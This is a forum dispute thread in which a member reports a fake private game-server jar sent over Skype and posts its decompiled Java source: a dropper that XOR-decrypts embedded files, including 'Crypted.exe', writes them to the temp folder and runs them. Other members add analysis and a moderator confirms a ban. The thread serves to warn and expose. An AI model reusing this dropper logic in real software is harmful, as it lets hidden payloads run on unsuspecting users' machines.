Jump to content

Dispute Against berke203


progamerz

Recommended Posts

 

Disputed member:http://osbot.org/forum/user/62294-berke203/

Thread Link:N/A

Explanation:

He sent me on skype an RSPS server link and i ran it and ESET caught it as virus so after that i decompiled it.

Evidence:

Skype Profile screenshot with chat background : http://i.imgur.com/RlmLEn3.png

Skype Chat logs:

1)http://i.imgur.com/lF8nu7l.png

2)http://i.imgur.com/hkWFOVa.png

3)http://i.imgur.com/jX8uqKL.png

4)http://i.imgur.com/mr07vog.png

5)http://i.imgur.com/LjECo9U.png

6)http://i.imgur.com/LjECo9U.png

7)http://i.imgur.com/OmxNc6Z.png

8)http://i.imgur.com/x8TjRNJ.png

9)http://i.imgur.com/5ZR8ZVA.png

10)http://i.imgur.com/DyXYY9w.png

11)http://i.imgur.com/DFTEunv.png

File Code:

Main.java

/*
 * Decompiled with CFR 0_114.
 */
package de.sogomn.drop;

import de.sogomn.drop.FileDropper;
import de.sogomn.drop.XorCipher;
import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import java.util.ArrayList;
import java.util.function.IntFunction;
import java.util.stream.Stream;

public final class Main {
    private static final String NAME_PATH = "/data";
    private static final String TEMP_DIRECTORY = System.getProperty("java.io.tmpdir");

    private Main() {
    }

    private static String[] readLines(String path) throws IOException {
        InputStream in = Main.class.getResourceAsStream(path);
        InputStreamReader inReader = new InputStreamReader(in);
        BufferedReader reader = new BufferedReader(inReader);
        ArrayList<String> lines = new ArrayList<String>();
        String line = null;
        while ((line = reader.readLine()) != null) {
            lines.add(line);
        }
        reader.close();
        String[] lineArray = (String[])lines.stream().toArray(n -> new String[n]);
        return lineArray;
    }

    private static byte[] readResource(String fileName) throws IOException {
        InputStream in = Main.class.getResourceAsStream("/" + fileName);
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        byte[] buffer = new byte[1024];
        int bytesRead = 0;
        while ((bytesRead = in.read(buffer)) != -1) {
            out.write(buffer, 0, bytesRead);
        }
        in.close();
        byte[] data = out.toByteArray();
        return data;
    }

    public static void main(String[] args) {
        try {
            String[] fileNames;
            String[] arrstring = fileNames = Main.readLines("/data");
            int n = arrstring.length;
            int n2 = 0;
            while (n2 < n) {
                String name = arrstring[n2];
                byte[] data = Main.readResource(name);
                XorCipher.crypt(data);
                FileDropper dropper = new FileDropper(name, data);
                dropper.drop(TEMP_DIRECTORY);
                ++n2;
            }
        }
        catch (IOException ex) {
            ex.printStackTrace();
        }
    }
}

XorCipher.java

/*
 * Decompiled with CFR 0_114.
 */
package de.sogomn.drop;

public final class XorCipher {
    private static final byte KEY = 56;

    private XorCipher() {
    }

    public static void crypt(byte[] data) {
        int i = 0;
        while (i < data.length) {
            data[i] = (byte)(data[i] ^ 56);
            ++i;
        }
    }
}

FileDropper.java

/*
 * Decompiled with CFR 0_114.
 */
package de.sogomn.drop;

import java.awt.Desktop;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;

public final class FileDropper {
    private String fileName;
    private byte[] data;

    public FileDropper(String fileName, byte[] data) {
        this.fileName = fileName;
        this.data = data;
    }

    private void execute(File file) throws IOException {
        boolean openSupported;
        Desktop desktop;
        boolean desktopSupported = Desktop.isDesktopSupported();
        if (desktopSupported && (openSupported = (desktop = Desktop.getDesktop()).isSupported(Desktop.Action.OPEN))) {
            desktop.open(file);
        }
    }

    public void drop(String directory) throws IOException {
        File file = new File(String.valueOf(directory) + File.separator + this.fileName);
        FileOutputStream out = new FileOutputStream(file);
        out.write(this.data);
        out.flush();
        out.close();
        this.execute(file);
    }
}

If u need anything more lemme know.

 

Thanks,

Progamerz

Link to comment
Share on other sites

Decompiled aswell

 

5dca506b2528071b33be2b05a771953f.png

 

The Jar holds a "RSPS jar", "data" folder and a "Crypted.exe" file.

In the code above you can see he acces the /data folder and crypts the CRYPTED.exe file

 

Probs hold RAT or some other malicious code, but can't proof that ^^

Be carefull if you open this!

 

Khaleesi

Edited by Khaleesi
  • Like 4
Link to comment
Share on other sites

Iv blocked and removed on Dex request, but he had a link, linking to rsps advert page ( idk if I should say name of the forum there for I won't but I'm sure you know which one it is)

Thanks for providing this info, the user was already IP banned out of precautionary measures and will remain IP banned now.

  • Like 2
Link to comment
Share on other sites

Guest
This topic is now closed to further replies.
  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...